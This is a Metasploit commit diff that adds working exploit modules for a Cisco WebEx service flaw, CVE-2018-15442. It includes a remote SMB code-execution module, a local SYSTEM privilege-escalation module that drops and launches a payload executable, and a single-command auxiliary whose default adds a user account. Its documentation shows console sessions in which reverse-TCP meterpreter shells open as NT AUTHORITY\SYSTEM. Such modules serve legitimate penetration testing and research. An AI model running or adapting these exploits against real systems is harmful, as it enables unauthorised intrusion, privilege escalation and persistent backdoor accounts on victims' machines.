Land #10864, Add Cisco WebEx RCE Modules
commit
2ab9a003d4
|
@ -0,0 +1,47 @@
|
|||
## Description
|
||||
|
||||
This module exploits a remote code execution vulnerability in Cisco's WebEx client software versions < v33.6.0.655
|
||||
By supplying valid login credentials to the target machine, a single command can be executed with System privileges.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Cisco WebEx Client v33.3.8.7 and below
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/admin/smb/webexec_command```
|
||||
4. Do: ```set RHOSTS <IP>```
|
||||
5. Do: ```set SMBUser <USERNAME>```
|
||||
6. Do: ```set SMBPass <PASSWORD>```
|
||||
7. Do: ```run```
|
||||
8. You should get output that verifies the execution of the command
|
||||
|
||||
## Options
|
||||
|
||||
**FORCE_GUI**
|
||||
|
||||
Uses WMIC to create a GUI
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/smb/webexec_command
|
||||
msf5 auxiliary(admin/smb/webexec_command) > set rhosts 192.168.37.136
|
||||
rhosts => 192.168.37.136
|
||||
msf5 auxiliary(admin/smb/webexec_command) > set smbuser a_user
|
||||
smbuser => a_user
|
||||
msf5 auxiliary(admin/smb/webexec_command) > set smbpass password
|
||||
smbpass => password
|
||||
msf5 auxiliary(admin/smb/webexec_command) > run
|
||||
|
||||
[+] 192.168.37.136:445 - Command completed!
|
||||
[*] 192.168.37.136:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/smb/webexec_command) >
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
|
||||
This module gets an elevated session with System privileges by exploiting a remote code execution vulnerability found
|
||||
in Cisco's WebEx client software for versions below v33.6.0.655.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Cisco WebEx v33.3.8.7 and below
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get a session
|
||||
4. Do: ```use exploit/windows/local/webexec```
|
||||
5. Do: ```set SESSION <session>```
|
||||
6. Do: ```run```
|
||||
7. You should get an elevated session.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86
|
||||
|
||||
```
|
||||
|
||||
msf5 > use multi/handler
|
||||
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/handler) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] Sending stage (179779 bytes) to 192.168.37.136
|
||||
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.136:49161) at 2018-10-24 09:41:47 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WIN-MGMN7ND70I1\a_user
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf5 exploit(multi/handler) > use exploit/windows/local/webexec
|
||||
msf5 exploit(windows/local/webexec) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/local/webexec) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(windows/local/webexec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] Checking service exists...
|
||||
[*] Writing 73802 bytes to %SystemRoot%\Temp\Ak4U78kG.exe...
|
||||
[*] Launching service...
|
||||
[*] Sending stage (179779 bytes) to 192.168.37.136
|
||||
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.136:49162) at 2018-10-24 09:42:35 -0500
|
||||
[*] Service started...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
|
||||
```
|
|
@ -0,0 +1,58 @@
|
|||
## Description
|
||||
|
||||
This module exploits a remote code execution vulnerability in Cisco's WebEx client software for versions < v33.6.0.655.
|
||||
|
||||
Vulnerable WebEx clients come with the `WebExService` that can execute arbitrary commands with System privileges.
|
||||
Due to insufficient checks on permissions, a local or domain user can start the `WebExService` through a remote connection
|
||||
and execute code.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Cisco WebEx software v33.3.8.7 and below
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/smb/webexec```
|
||||
4. Do: ```set RHOSTS <IP>```
|
||||
5. Do: ```set SMBUser <USERNAME>```
|
||||
6. Do: ```set SMBPass <PASSWORD>```
|
||||
7. Do: ```run```
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86
|
||||
|
||||
```
|
||||
|
||||
msf5 > use exploit/windows/smb/webexec
|
||||
msf5 exploit(windows/smb/webexec) > set smbuser a_user
|
||||
smbuser => a_user
|
||||
msf5 exploit(windows/smb/webexec) > set smbpass password
|
||||
smbpass => password
|
||||
msf5 exploit(windows/smb/webexec) > set rhosts 192.168.37.136
|
||||
rhosts => 192.168.37.136
|
||||
msf5 exploit(windows/smb/webexec) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/smb/webexec) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(windows/smb/webexec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] 192.168.37.136:445 - Connecting to the server...
|
||||
[*] 192.168.37.136:445 - Authenticating to 192.168.37.136:445 as user 'a_user'...
|
||||
[*] 192.168.37.136:445 - Command Stager progress - 0.96% done (999/104435 bytes)
|
||||
[*] 192.168.37.136:445 - Command Stager progress - 1.91% done (1998/104435 bytes)
|
||||
...
|
||||
[*] 192.168.37.136:445 - Command Stager progress - 99.47% done (103880/104435 bytes)
|
||||
[*] 192.168.37.136:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
|
||||
[*] Sending stage (179779 bytes) to 192.168.37.136
|
||||
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.136:49158) at 2018-10-24 09:10:46 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
|
||||
```
|
|
@ -31,10 +31,11 @@ require 'msf/core/exploit/dcerpc'
|
|||
require 'msf/core/exploit/smb/client'
|
||||
require 'msf/core/exploit/smb/client/authenticated'
|
||||
require 'msf/core/exploit/smb/client/local_paths'
|
||||
require 'msf/core/exploit/smb/client/psexec'
|
||||
require 'msf/core/exploit/smb/client/pipe_auditor'
|
||||
require 'msf/core/exploit/smb/client/psexec'
|
||||
require 'msf/core/exploit/smb/client/psexec_ms17_010'
|
||||
require 'msf/core/exploit/smb/client/remote_paths'
|
||||
require 'msf/core/exploit/smb/client/webexec'
|
||||
require 'msf/core/exploit/smb/server'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'msf/core/exploit/ftp'
|
||||
|
|
|
@ -0,0 +1,110 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/dcerpc/svcctl'
|
||||
require 'windows_error'
|
||||
require 'windows_error/win32'
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'msf/core/exploit/wbemexec'
|
||||
|
||||
include WindowsError::Win32
|
||||
|
||||
module Msf
|
||||
|
||||
####
|
||||
# Makes use of a WebEx service vulnerability that works similarly to psexec.
|
||||
#
|
||||
# This code was stolen straight out of the psexec module which was stolen from
|
||||
# the standalone Psexec tool. Thanks very much for all who contributed to that
|
||||
# module!! Instead of uploading and running a binary.
|
||||
####
|
||||
|
||||
module Exploit::Remote::SMB::Client::WebExec
|
||||
|
||||
include Msf::Exploit::Windows_Constants
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::Exploit::Failure
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SERVICE_NAME', [ false, 'The service name', 'WebExService']),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def execute_single_command(command, opts)
|
||||
command = command.split(/ /)
|
||||
svc_status = opts[:svc_client].startservice(opts[:svc_handle], ["install", "software-update", "1", *command])
|
||||
case svc_status
|
||||
when ERROR_SUCCESS
|
||||
# This happens a lot, so don't print it
|
||||
# print_good("Service started successfully...")
|
||||
when ERROR_FILE_NOT_FOUND
|
||||
print_error("Service failed to start - FILE_NOT_FOUND")
|
||||
when ERROR_ACCESS_DENIED
|
||||
print_error("Service failed to start - ACCESS_DENIED")
|
||||
when ERROR_SERVICE_REQUEST_TIMEOUT
|
||||
print_good("Service start timed out")
|
||||
else
|
||||
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
|
||||
end
|
||||
end
|
||||
|
||||
# Executes a single windows command.
|
||||
#
|
||||
# If you want to retrieve the output of your command you'll have to
|
||||
# echo it to a .txt file and then use the {#smb_read_file} method to
|
||||
# retrieve it. Make sure to remove the files manually or use
|
||||
# {Exploit::FileDropper#register_files_for_cleanup} to have the
|
||||
# {Exploit::FileDropper#cleanup} and
|
||||
# {Exploit::FileDropper#on_new_session} handlers do it for you.
|
||||
#
|
||||
# @param command [String] Should be a valid windows command
|
||||
# @param disconnect [Boolean] Disconnect afterwards
|
||||
# @return [Boolean] Whether everything went well
|
||||
def wexec(disconnect=true)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
||||
vprint_status("Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
vprint_status("Bound to #{handle} ...")
|
||||
vprint_status("Obtaining a service manager handle...")
|
||||
|
||||
svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
|
||||
# This is the only permission non-admin gets on Windows 7 (and likely others)
|
||||
scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'], 0x00001)
|
||||
|
||||
if scm_status == ERROR_ACCESS_DENIED
|
||||
print_error("ERROR_ACCESS_DENIED opening the Service Manager")
|
||||
end
|
||||
|
||||
return false unless scm_handle
|
||||
|
||||
# These are the best permissions I could use for a non-admin account on Windows 7
|
||||
svc_handle = svc_client.openservicew(scm_handle, datastore['SERVICE_NAME'], 0x00010)
|
||||
|
||||
if svc_handle.nil?
|
||||
print_error("No service handle retrieved")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("Starting the service...")
|
||||
begin
|
||||
yield({ :svc_client => svc_client, :svc_handle => svc_handle })
|
||||
ensure
|
||||
vprint_status("Closing service handle...")
|
||||
svc_client.closehandle(svc_handle)
|
||||
end
|
||||
|
||||
if disconnect
|
||||
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
|
@ -208,13 +208,41 @@ class Client
|
|||
# it. Returns true on success, or false.
|
||||
#
|
||||
# @param svc_handle [String] the handle of the service (from {#openservicew}).
|
||||
# @param magic1 [Integer] an unknown value.
|
||||
# @param magic2 [Integer] another unknown value.
|
||||
# @param args [Array] an array of arguments to pass to the service (or nil)
|
||||
#
|
||||
# @return [Integer] Windows error code
|
||||
def startservice(svc_handle, magic1 = 0, magic2 = 0)
|
||||
def startservice(svc_handle, args=[])
|
||||
svc_status = nil
|
||||
stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2)
|
||||
|
||||
if args.empty?
|
||||
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
|
||||
else
|
||||
# This is just an arbitrary "pointer" value, gonna match it to what the real version uses
|
||||
id_value = 0x00000200
|
||||
|
||||
stubdata = svc_handle
|
||||
stubdata += NDR.long(args.length) + NDR.long(id_value) + NDR.long(args.length)
|
||||
|
||||
# Encode an id value for each parameter
|
||||
args.each do
|
||||
id_value += 0x04000000
|
||||
stubdata += NDR.long(id_value)
|
||||
end
|
||||
|
||||
# Encode the values now
|
||||
args.each do |arg|
|
||||
# We can't use NDR.uwstring here, because we need the "id" values to come first
|
||||
stubdata += NDR.long(arg.length + 1) + NDR.long(0) + NDR.long(arg.length + 1)
|
||||
|
||||
# Unicode string
|
||||
stubdata += Rex::Text.to_unicode(arg + "\0")
|
||||
|
||||
# Padding
|
||||
if((arg.length % 2) == 0)
|
||||
stubdata += Rex::Text.to_unicode("\0")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
response = dcerpc_client.call(0x13, stubdata)
|
||||
|
|
|
@ -0,0 +1,69 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SMB::Client::WebExec
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
# Aliases for common classes
|
||||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WebEx Remote Command Execution Utility',
|
||||
'Description' => %q{
|
||||
This module enables the execution of a single command as System by exploiting a remote
|
||||
code execution vulnerability in Cisco's WebEx client software.
|
||||
},
|
||||
|
||||
'Author' => [
|
||||
'Ron Bowes <ron@skullsecurity.net>',
|
||||
],
|
||||
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'https://webexec.org'],
|
||||
['CVE', '2018-15442']
|
||||
]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),
|
||||
OptPort.new('RPORT', [true, 'The Target port', 445]),
|
||||
OptBool.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', false]),
|
||||
])
|
||||
end
|
||||
|
||||
# This is the main control method
|
||||
def run_host(ip)
|
||||
@smbshare = datastore['SMBSHARE']
|
||||
@ip = ip
|
||||
|
||||
# Try and authenticate with given credentials
|
||||
if connect
|
||||
begin
|
||||
smb_login
|
||||
rescue Rex::Proto::SMB::Exceptions::Error => autherror
|
||||
print_error("Unable to authenticate with given credentials: #{autherror}")
|
||||
return
|
||||
end
|
||||
|
||||
command = datastore['COMMAND']
|
||||
if datastore['FORCE_GUI']
|
||||
command = "WMIC PROCESS CALL Create \"#{command}\""
|
||||
end
|
||||
|
||||
wexec(true) do |opts|
|
||||
execute_single_command(command, opts)
|
||||
end
|
||||
|
||||
print_good("Command completed!")
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,203 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Accounts
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'WebEx Local Service Permissions Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,
|
||||
can be used to run arbitrary commands locally, and can be started by limited users in
|
||||
default installations.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://webexec.org'],
|
||||
['CVE', '2018-15442']
|
||||
],
|
||||
'DisclosureDate' => "Oct 09 2018",
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'
|
||||
],
|
||||
'Platform' => [ 'win'],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'SessionTypes' => [ "meterpreter" ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'WfsDelay' => 5,
|
||||
'ReverseConnectRetries' => 255
|
||||
},
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])
|
||||
])
|
||||
@service_name = 'webexservice'
|
||||
end
|
||||
|
||||
def validate_arch
|
||||
return target unless target.name == 'Automatic'
|
||||
|
||||
case sysinfo['Architecture']
|
||||
when 'x86'
|
||||
fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'
|
||||
vprint_status('Detected x86 system')
|
||||
return targets[1]
|
||||
when 'x64'
|
||||
vprint_status('Detected x64 system')
|
||||
return targets[2]
|
||||
end
|
||||
end
|
||||
|
||||
def check_service_exists?(service)
|
||||
srv_info = service_info(service)
|
||||
|
||||
if srv_info.nil?
|
||||
vprint_warning("Unable to enumerate services.")
|
||||
return false
|
||||
end
|
||||
|
||||
if srv_info && srv_info[:display].empty?
|
||||
vprint_warning("Service #{service} does not exist.")
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
unless check_service_exists?(@service_name)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
srv_info = service_info(@service_name)
|
||||
|
||||
vprint_status(srv_info.to_s)
|
||||
|
||||
case START_TYPE[srv_info[:starttype]]
|
||||
when 'Disabled'
|
||||
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
|
||||
return Exploit::CheckCode::Safe
|
||||
when 'Manual'
|
||||
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
|
||||
return Exploit::CheckCode::Safe
|
||||
when 'Auto'
|
||||
vprint_good("Service is set to Automatically start...")
|
||||
end
|
||||
|
||||
if check_search_path
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def check_write_access(path)
|
||||
perm = check_dir_perms(path, @token)
|
||||
if perm and perm.include?('W')
|
||||
print_good("Write permissions in #{path} - #{perm}")
|
||||
return true
|
||||
elsif perm
|
||||
vprint_status ("Permissions for #{path} - #{perm}")
|
||||
else
|
||||
vprint_status ("No permissions for #{path}")
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
begin
|
||||
@token = get_imperstoken
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
vprint_error("Error while using get_imperstoken: #{e}")
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token
|
||||
|
||||
if is_system?
|
||||
fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
|
||||
end
|
||||
|
||||
print_status("Checking service exists...")
|
||||
if !check_service_exists?(@service_name)
|
||||
fail_with(Failure::NoTarget, "The service doesn't exist.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_warning("UAC is enabled, may get false negatives on writable folders.")
|
||||
end
|
||||
|
||||
# Use manually selected Dir
|
||||
file_path = datastore['DIR']
|
||||
|
||||
@exe_file_name = Rex::Text.rand_text_alphanumeric(8)
|
||||
@exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"
|
||||
|
||||
service_information = service_info(@service_name)
|
||||
|
||||
# Check architecture
|
||||
valid_arch = validate_arch
|
||||
exe = generate_payload_exe(:arch => valid_arch.arch)
|
||||
|
||||
#
|
||||
# Drop the malicious executable into the path
|
||||
#
|
||||
print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")
|
||||
begin
|
||||
write_file(@exe_file_path, exe)
|
||||
register_file_for_cleanup(@exe_file_path)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
# Can't write the file, can't go on
|
||||
fail_with(Failure::Unknown, e.message)
|
||||
end
|
||||
|
||||
#
|
||||
# Run the service
|
||||
#
|
||||
print_status("Launching service...")
|
||||
res = cmd_exec("cmd.exe",
|
||||
"/c sc start webexservice install software-update 1 #{@exe_file_path}")
|
||||
|
||||
if service_restart(@service_name)
|
||||
print_status("Service started...")
|
||||
else
|
||||
service_information = service_info(@service_name)
|
||||
if service_information[:starttype] == START_TYPE_AUTO
|
||||
if job_id
|
||||
print_status("Unable to start service, handler running waiting for a reboot...")
|
||||
while(true)
|
||||
break if session_created?
|
||||
select(nil,nil,nil,1)
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,187 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# Windows XP systems that are not part of a domain default to treating all
|
||||
# network logons as if they were Guest. This prevents SMB relay attacks from
|
||||
# gaining administrative access to these systems. This setting can be found
|
||||
# under:
|
||||
#
|
||||
# Local Security Settings >
|
||||
# Local Policies >
|
||||
# Security Options >
|
||||
# Network Access: Sharing and security model for local accounts
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::SMB::Client::WebExec
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::WbemExec
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WebExec Authenticated User Code Execution',
|
||||
'Description' => %q{
|
||||
This module uses a valid username and password of any level (or
|
||||
password hash) to execute an arbitrary payload. This module is similar
|
||||
to the "psexec" module, except allows any non-guest account by default.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ron <ron@skullsecurity.net>',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10,
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://webexec.org'],
|
||||
[ 'CVE', '2018-15442' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 3072,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Native upload', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 24 2018'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
# This has to be a full path, %ENV% variables are not expanded
|
||||
OptString.new('TMPDIR', [ true, "The directory to stage our payload in", "c:\\Windows\\Temp\\" ])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
|
||||
OptInt.new('MAX_LINE_LENGTH', [true, "The length of lines when splitting up the payload", 1000]),
|
||||
])
|
||||
end
|
||||
|
||||
# This is the callback for cmdstager, which breaks the full command into
|
||||
# chunks and sends it our way. We have to do a bit of finangling to make it
|
||||
# work correctly
|
||||
def execute_command(command, opts)
|
||||
# Replace the empty string, "", with a workaround - the first 0 characters of "A"
|
||||
command = command.gsub('""', 'mid(Chr(65), 1, 0)')
|
||||
|
||||
# Replace quoted strings with Chr(XX) versions, in a naive way
|
||||
command = command.gsub(/"[^"]*"/) do |capture|
|
||||
capture.gsub(/"/, "").chars.map do |c|
|
||||
"Chr(#{c.ord})"
|
||||
end.join('+')
|
||||
end
|
||||
|
||||
# Prepend "cmd /c" so we can use a redirect
|
||||
command = "cmd /c " + command
|
||||
|
||||
execute_single_command(command, opts)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Connecting to the server...")
|
||||
connect(versions: [2,1])
|
||||
|
||||
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
|
||||
smb_login
|
||||
|
||||
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
|
||||
print_line(" ")
|
||||
print_error(
|
||||
"FAILED! The remote host has only provided us with Guest privileges. " +
|
||||
"Please make sure that the correct username and password have been provided. " +
|
||||
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
|
||||
"to network logins by default."
|
||||
)
|
||||
print_line(" ")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
if datastore['SMBUser'].to_s.strip.length > 0
|
||||
report_auth
|
||||
end
|
||||
|
||||
# Avoid implementing NTLMSSP on Windows XP
|
||||
# http://seclists.org/metasploit/2009/q1/6
|
||||
if smb_peer_os == "Windows 5.1"
|
||||
connect(versions: [1])
|
||||
smb_login
|
||||
end
|
||||
|
||||
wexec(true) do |opts|
|
||||
opts[:flavor] = :vbs
|
||||
opts[:linemax] = datastore['MAX_LINE_LENGTH']
|
||||
opts[:temp] = datastore['TMPDIR']
|
||||
opts[:delay] = 0.05
|
||||
execute_cmdstager(opts)
|
||||
end
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def report_auth
|
||||
service_data = {
|
||||
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
private_data: datastore['SMBPass'],
|
||||
username: datastore['SMBUser'].downcase
|
||||
}
|
||||
|
||||
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
|
||||
credential_data.merge!({
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: datastore['SMBDomain']
|
||||
})
|
||||
end
|
||||
|
||||
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
|
||||
credential_data.merge!({:private_type => :ntlm_hash})
|
||||
else
|
||||
credential_data.merge!({:private_type => :password})
|
||||
end
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
access_level: 'Admin',
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue